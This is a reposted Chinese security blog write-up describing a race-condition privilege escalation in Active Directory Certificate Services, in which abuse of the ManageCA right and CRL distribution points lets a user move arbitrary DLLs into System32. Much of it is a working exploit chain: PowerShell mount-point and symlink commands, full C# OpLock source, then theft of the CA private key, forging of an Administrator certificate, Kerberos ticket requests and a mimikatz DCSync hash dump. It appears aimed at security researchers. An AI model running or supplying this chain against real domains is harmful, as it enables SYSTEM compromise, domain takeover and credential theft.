AD CS - 滥用 ManageCA 权限的新方法

admin 2023年12月9日13:13:22评论25 views字数 9117阅读30分23秒阅读模式

此报告记录了 Active Directory 证书服务 (AD CS) 中的一个本地特权提升漏洞。该漏洞是由 Certsrv 创建 CRL 文件时的争用条件漏洞导致的。在 CA 上具有 ManageCA ACL 的任何标准用户都可以发布 CRL 分发点 (CDP) 并将任意文件移动到受限制的目录(例如,C:WindowsSystem32)。攻击者可以利用此漏洞将DLL写入C:WindowsSystem32目录或覆盖服务二进制文件,从而实现本地权限提升。

该漏洞已在最新的Windows系统(截至2023年10月24日)上成功验证,系统版本为Windows Server 2022 Datacenter 21H2(20348.2031)。

我在 CTFCON 2023 上分享了这个技巧,相关会议的幻灯片和 POC 在这里: CTFCON2023-POC

描述

CRL 分发点 (CDP)

CRL(证书吊销列表)是一个文件,其中包含已吊销且不再有效的证书的标识符。CA 必须定期在可访问的路径中发布 CRL,以便客户端可以检查证书的有效性。这可以通过在其配置中指示一个或多个 CDP 来完成,如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

在设置新的CDP时,我们可以使用多种网络协议(HTTP,LDAP,FTP或SMB)指定本地或远程路径。此外,我们必须选择 CDP 是用于读取、写入还是两者兼而有之。

在这里,我们只关注第一个 CDP 选项(将 CRL 发布到此位置):将发布 CRL 的本地或远程路径。若要指定远程路径,仅支持 LDAP 和 SMB 协议。

任意文件写入(准确地说,它不是任意的)

那么我们可以通过滥用CDP来实现任意文件写入吗?

当我们意识到 CDP 可以写入除预期扩展名 (.crl) 以外的任何扩展名的文件时,这个想法变得更加强烈。

为了验证这个想法,我们可以通过以下步骤成功写入任意文件:

  1. 打开 certsrv.msc 并创建第一个 CDP 以在所需路径 () 中写入 CRL,并添加适当的扩展名(例如,.dll)。在此步骤中,我们选择第一个 CDP 选项“将 CRL 发布到此位置”。如下图所示。file://C:/Workspace/malicious.dll

AD CS - 滥用 ManageCA 权限的新方法

  1. 指定第二个恶意 CDP,并将恶意负载作为路径 (),该路径将插入到第一个 CDP 生成的 CRL 中。如下图所示。file://testtesttesttesttest

AD CS - 滥用 ManageCA 权限的新方法

当我们单击“应用”时,系统将要求我们重新启动certsrv服务。因为必须重新启动 Active Directory 证书服务才能使更改生效。

  1. 选择“吊销的证书”>“所有任务”>“发布”以发布 CRL。您将看到恶意.dll已写入C:Workspace目录。如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

AD CS - 滥用 ManageCA 权限的新方法

但是,当我们使用命令查看写入的恶意.dll文件时,我们发现文件内容中还有很多其他杂乱的数据,如下图所示。因此,仅仅依靠上述步骤来实现任意文件写入(例如写入dll进行dll劫持)和权限提升是不够的。type

AD CS - 滥用 ManageCA 权限的新方法

而且,当我们在进程监视器中观察此过程时,我们发现整个过程是在 NT AUTHORITYSYSTEM 帐户的特权下执行的,并且所有这些进程都没有任何模拟。如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

从Process Monitor中,我们可以看到整个过程如下:

  1. Certsrv 将首先尝试打开 C:Workspacemalicious.dll,但它将失败,因为该文件此时不存在。

  2. Certsrv 开始创建恶意 .dll 文件。在此之前,将创建一个临时文件(上图中的pre4C01.tmp)。

  3. 最后,Certsrv 会将 pre4C01.tmp 重命名为目标文件 恶意 .dll。如下图所示,您可以看到 C:Workspacepre4C01.tmp 上的 SetRenameInformationFile 操作,并且用户也是 NT AUTHORITYSYSTEM。如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

如果我们可以通过为“pre4C01.tmp”和“malicious.dll”创建符号链接来利用竞争条件,在执行 SetRenameInformationFile 操作之前将它们分别指向不同的源文件和目标文件,我们可以利用此时的 SetRenameInformationFile 操作来实现任意文件移动。

但是,在上述特定场景中,我的尝试没有成功,并且我没有参与 Windows 的竞争条件。

任意文件移动

为了最终实现任意文件移动,我进行了以下探索。

如果目标文件(C:Workspacemalicious.dll)在开头存在,该怎么办?

这一次,我首先创建了 C:Workspacemalicious.dll,然后重新执行了上述添加 CDP 和发布 CRL 的过程,并使用进程监视器检测了以下过程。如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

从进程监视器中,我们可以看到以下过程:

  1. Certsrv 将首先尝试打开 C:Workspacemalicious.dll,它会成功,因为此时该文件确实存在。

  2. Certsrv 开始创建恶意 .dll 文件。在此之前,将创建一个临时文件(上图中的preE744.tmp)。

  3. Certsrv 将通过 SetRenameInformationFile 操作将旧文件(恶意.dll)重命名为临时文件(上图中的 crlE745.tmp)。如下图所示,您可以看到 C:Workspacemalicious.dll 上的 SetRenameInformationFile 操作。

  4. Certsrv 会将 preE744.tmp 重命名为新的目标文件 恶意 .dll。如下图所示,可以看到 C:WorkspacepreE744.tmp 上的 SetRenameInformationFile 操作,用户也是 NT AUTHORITYSYSTEM。

  5. 最后,Certsrv 将删除临时文件 crlE745.tmp。

在这个过程中,我们利用漏洞的机会出现了。如果我们可以通过在旧的恶意 .dll 文件上设置一个 OpLock 来利用竞争条件,然后再对它执行 SetRenameInformationFile 操作,它将导致 Certsrv 中的所有后续进程暂停。这种暂停为我们提供了必要的时间来执行后续的漏洞利用操作。我们可以利用这个暂停来创建符号链接,最终实现任意文件移动。

因此,我们已经成功利用了该漏洞,具体的利用过程在以下文字中概述。我将使用 CORPMarcus 用户来执行漏洞利用过程,即使该用户具有用于 CA 的 ManageCA ACL,他仍然是标准域用户,如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

(1) 创建具有以下结构的目录。

<DIR> C:Workspace
|__ <DIR> Bait
|__ <DIR> MountPoint
|__ malicious.dll

可以通过执行以下 powershell cmdlet 来完成上述目录:

1
2
3
New-Item -Path "C:Workspace" -ItemType Directory -Force
New-Item -Path "C:WorkspaceMountpoint" -ItemType Directory -Force
New-Item -Path "C:WorkspaceBait" -ItemType Directory -Force


目录的用途是从联结到目录切换到联结到对象目录。是我们要移动到受限制位置的文件,例如 C:WindowsSystem32。MountPointBaitRPC Controlmalicious.dll

(2) 创建挂载点。

执行以下 PowerShell cmdlet 以创建从 到 的挂载点。C:WorkspaceMountpointC:WorkspaceBait


Import-Module ".NtApiDotNet.dll" -ErrorAction Stop
[NtApiDotNet.NtFile]::CreateMountPoint("??C:WorkspaceMountpoint", "??C:WorkspaceBait", $null)


AD CS - 滥用 ManageCA 权限的新方法

(3) 准备旧的目标文件。

执行以下 PowerShell cmdlet 以创建一个文件,该文件用作前面提到的“旧文件”。C:WorkspaceMountpointtarget.txt

1
"This is the content of target.txt" | Set-Content -Path "C:WorkspaceMountpointtarget.txt"


由于我们已经从 到 建立了挂载点,将在 中创建。如下图所示。C:WorkspaceMountpointC:WorkspaceBaittarget.txtC:WorkspaceBaittarget.txt

AD CS - 滥用 ManageCA 权限的新方法

(4) 创建 SetOpLock 项目。

在 James Forshaw 的 NtApiDotNet 的帮助下,我们创建了一个名为“SetOpLock”的 C# 项目,以迭代方式访问文件并建立 OpLock。相关代码如下。C:WorkspaceMountpointtarget.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
using System;
using System.Runtime.InteropServices;
using NtApiDotNet;

using FILETIME = System.Runtime.InteropServices.ComTypes.FILETIME;

namespace SetOpLock
{
internal class Program
{
static void Main(string[] args)
{
IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
WIN32_FIND_DATA findFileData = new WIN32_FIND_DATA();
WIN32_FIND_DATA findFileData2 = new WIN32_FIND_DATA();

NtFile ntFile = NtFile.Open(@"??C:WorkspaceBaittarget.txt", null, FileAccessRights.ReadAttributes, FileShareMode.All, FileOpenOptions.None);
while (true)
{
var OpLockTask = ntFile.OplockExclusiveAsync();
Console.WriteLine("[*] OpLock set on file");
var hFind = FindFirstFile(@"C:WorkspaceBaitpre*.tmp", out findFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
var hFind2 = FindFirstFile(@"C:WorkspaceBaitpre*.tmp", out findFileData2);
if (hFind2 != INVALID_HANDLE_VALUE)
{
if (findFileData.cFileName == findFileData2.cFileName)
{
Console.WriteLine(findFileData.cFileName);
Console.WriteLine("Please press Enter to release...");
Console.ReadLine();
return;
}
}
}
Console.WriteLine("[*] Releasing OpLock.");
ntFile.AcknowledgeOplock(OplockAcknowledgeLevel.No2);
}
}

[DllImport("KERNELBASE.DLL", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern IntPtr FindFirstFile(string lpFileName, out WIN32_FIND_DATA lpFindFileData);

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct WIN32_FIND_DATA
{
public uint dwFileAttributes;
public FILETIME ftCreationTime;
public FILETIME ftLastAccessTime;
public FILETIME ftLastWriteTime;
public uint nFileSizeHigh;
public uint nFileSizeLow;
public uint dwReserved0;
public uint dwReserved1;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string cFileName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)]
public string cAlternateFileName;
}
}
}


当然,必须强调的是,我们必须在 Certsrv 初始访问旧的“target.txt”后释放 OpLock,并在首次执行 SetRenameInformationFile 操作之前在旧的“target.txt”上重新建立 OpLock。此序列对于满足漏洞利用的要求至关重要。

但是,必须强调的是,我们必须在 Certsrv 初始访问旧目标 .txt 后释放 OpLock,并在首次执行 SetRenameInformationFile 操作之前在旧目标 .txt 上重新设置 OpLock。只有按照这个顺序,才能满足漏洞利用的要求。

(5) 添加两个CDP,如下图所示。

  • CDP 1:file://C:/Workspace/MountPoint/target.txt

  • CDP 2:file://testtesttesttesttest

AD CS - 滥用 ManageCA 权限的新方法

然后,打开 certsrv.msc,选择“吊销的证书”->“所有任务”->“发布”以发布 CRL。同时,我们运行之前创建的 SetOpLock.exe。

如下图所示,旧的 target.txt 已成功锁定,我们暂停了 Certsrv 服务的后续文件移动过程。而且,我们得到进程生成的临时文件名是 pre63F0.tmp。

AD CS - 滥用 ManageCA 权限的新方法

要释放 OpLock,只需按 Enter 键 在 SetOpLock.exe 控制台中。但是,在这一点上,我们不需要发布它。

(6) 现在我们需要切换挂载点。

在此步骤之前:

1
2
3
# Before this step:
TMP file : C:WorkspaceMountpointpre63F0.tmp -> C:WorkspaceBaitpre63F0.tmp
Dest file : C:WorkspaceMountPointtarget.txt -> C:WorkspaceBaittarget.txt


AD CS - 滥用 ManageCA 权限的新方法

我们切换挂载点并创建符号链接:

1
2
3
C:WorkspaceMountPoint -> RPC Control
Symlink 1: RPC Controlpre63F0.tmp -> C:Workspacemalicious.dll
Symlink 2: RPC Controltarget.txt -> C:WindowsSystem32malicious.dll


AD CS - 滥用 ManageCA 权限的新方法

完成此步骤后:

1
2
3
# After this step:
TMP file : C:WorkspaceMountPointpre63F0.tmp -> C:Workspacemalicious.dll
Dest file : C:WorkspaceMountPointtarget.txt -> C:WindowsSystem32malicious.dll


AD CS - 滥用 ManageCA 权限的新方法

可以通过执行以下 powershell cmdlet 来完成此步骤:

1
2
3
4
5
6
Import-Module ".NtApiDotNet.dll" -ErrorAction Stop

[NtApiDotNet.NtFile]::DeleteReparsePoint("??C:WorkspaceMountpoint")
[NtApiDotNet.NtFile]::CreateMountPoint("??C:WorkspaceMountpoint", "RPC Control", $null)
$SymbolicTarget = [NtApiDotNet.NtSymbolicLink]::Create("RPC Controltarget.txt", "??C:WindowsSystem32malicious.dll")
$SymbolicSource = [NtApiDotNet.NtSymbolicLink]::Create("RPC Controlpre63F0.tmp", "??C:Workspacemalicious.dll")


AD CS - 滥用 ManageCA 权限的新方法

(7) 松开 OpLock。

在 SetOpLock.exe 控制台中按 Enter 键以允许 Certsrv 的后续进程恢复。这将导致成功的文件移动,如下图所示。

AD CS - 滥用 ManageCA 权限的新方法

如下图所示,可以观察到恶意.dll已成功移动到C:WindowsSystem32目录。

AD CS - 滥用 ManageCA 权限的新方法

此漏洞允许我们将任何 DLL 写入受限制的目录,例如 C:WindowsSystem32,并获得系统权限。例如,我们可以编写 SprintCSP.dll 并由 StorSvc 服务加载它,或者我们可以覆盖现有服务的二进制文件以获得系统权限。

域名升级的黄金证书

金牌证书

在 Lee Christensen (@tifkin_) 和 Will Schroeder (@harmj0y) 发布他们的白皮书“认证二手:滥用 Active Directory 证书服务”之后,安全行业的几乎每个人都转向了 Active Directory 证书颁发机构。

当组织安装 AD CS 时,AD 默认启用基于证书的身份验证。若要使用证书进行身份验证,CA 必须向包含允许客户端身份验证的 EKU OID 的帐户颁发证书。当帐户使用证书进行身份验证时,AD 会验证证书是否已链接到根 CA 和对象指定的 CA 证书。NTAuthCertificates

CA 使用其私钥对颁发的证书进行签名。如果我们窃取了这个私钥,我们是否可以伪造自己的证书,并使用它们作为组织中的任何人向 AD 进行身份验证?答案是肯定的。最初,该技术由 Benjamin Delpy 在 Mimikatz 和 Kekeo 中实现,如下所示。

AD CS - 滥用 ManageCA 权限的新方法

后来,Specterops 在其白皮书中再次讨论了这个话题,并发布了一个 ForgeCert 工具,这是一个 C# 工具,可以获取 CA 根证书,并为我们提供任何指定用户的 Forge 新证书。这项技术被称为“黄金证书”。

(1)窃取CA的证书和私钥

由于我们在 AD CS 服务器上具有提升的权限,因此我们完全能够在服务器上检索和导出 CA 证书及其私钥。此过程可以通过 SharpDPAPI 工具集完成,如下所示。

1
 SharpDPAPI.exe certificates /machine


AD CS - 滥用 ManageCA 权限的新方法

AD CS - 滥用 ManageCA 权限的新方法

我们可以使用 openssl 将此 .pem 格式的文本转换为可利用的 .pfx 格式,并将其保存为 ca.pfx 文件,如下所示。

1
openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ca.pfx


(2) 域名管理员伪造证书

通过这个包含 CA 证书和私钥的 ca.pfx 文件,攻击者可以将其上传到常规域计算机并使用它来伪造证书。在这里,我们使用 ForgeCert 工具来完成此过程。执行以下命令,通过之前被盗的 ca.pfx 为域管理员用户 Administrator 注册证书。

1
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Passw0rd" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath Administrator.pfx --NewCertPassword "NewPassw0rd" --CRL http://ca01.corp.local/CertEnroll/corp-CA01-CA.crl


AD CS - 滥用 ManageCA 权限的新方法

(3) 获取域名管理员的 TGT

生成的 Administrator.pfx 可用于 Kerberos PKINIT 身份验证和伪造请求 TGT 的用户,如下所示。

1
Rubeus.exe asktgt /user:Administrator /certificate:C:UsersMarcusAdministrator.pfx /password:NewPassw0rd /ptt


AD CS - 滥用 ManageCA 权限的新方法

执行该命令将看到 TGT 缓存在计算机中,然后我们可以使用它来访问域控制器。此时,您可以执行 DCSync 攻击并转储域哈希,表明您已提升为域管理员权限。klist

1
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:CORPAdministrator" exit


AD CS - 滥用 ManageCA 权限的新方法

至此,我们已经成功实现了域权限提升。

KDC_ERR_CLIENT_NOT_TRUSTED

当我第一次尝试伪造黄金证书时,我没有通过选项指定 CRL,最终在 Rubeus 申请 TGT 时收到错误,如下图所示。--CRLKDC_ERR_CLIENT_NOT_TRUSTED

AD CS - 滥用 ManageCA 权限的新方法

最终,我在 Oliver Lyak (@ly4k_) 的 Certipy 项目文档中找到了以下描述:

然后,伪造的证书可用于通过 Certipy 的 auth 命令进行身份验证。如果 KDC 返回 KDC_ERR_CLIENT_NOT_TRUSTED,则表示锻造不正确。这通常是由于证书中缺少证书吊销列表 (CRL) 而发生的。可以使用 -crl 手动指定 CRL,也可以使用以前颁发的证书作为带有 -template 参数的模板。

因此,当 ForgeCert 伪造域管理员并成功解决问题时,我指定为默认的 CRL HTTP 分发点。但我不确定是否可以跳过此操作。--CRLhttp://<CA server name>CertEnroll<CDP variables>

请注意

(1) 要利用此漏洞,当前用户必须具有CA的ACL,因为利用过程涉及修改CA配置。如下图所示。ManageCA

AD CS - 滥用 ManageCA 权限的新方法

(2) 由于竞争条件的概率性,前面讨论的第四步(涉及添加两个 CDP)不一定能成功锁定旧的 target.txt 文件。因此,可能需要多次尝试发布 CRL 才能获得所需的结果。


原文始发于微信公众号(伞神安全):AD CS - 滥用 ManageCA 权限的新方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月9日13:13:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AD CS - 滥用 ManageCA 权限的新方法https://cn-sec.com/archives/2282932.html

发表评论

匿名网友 填写信息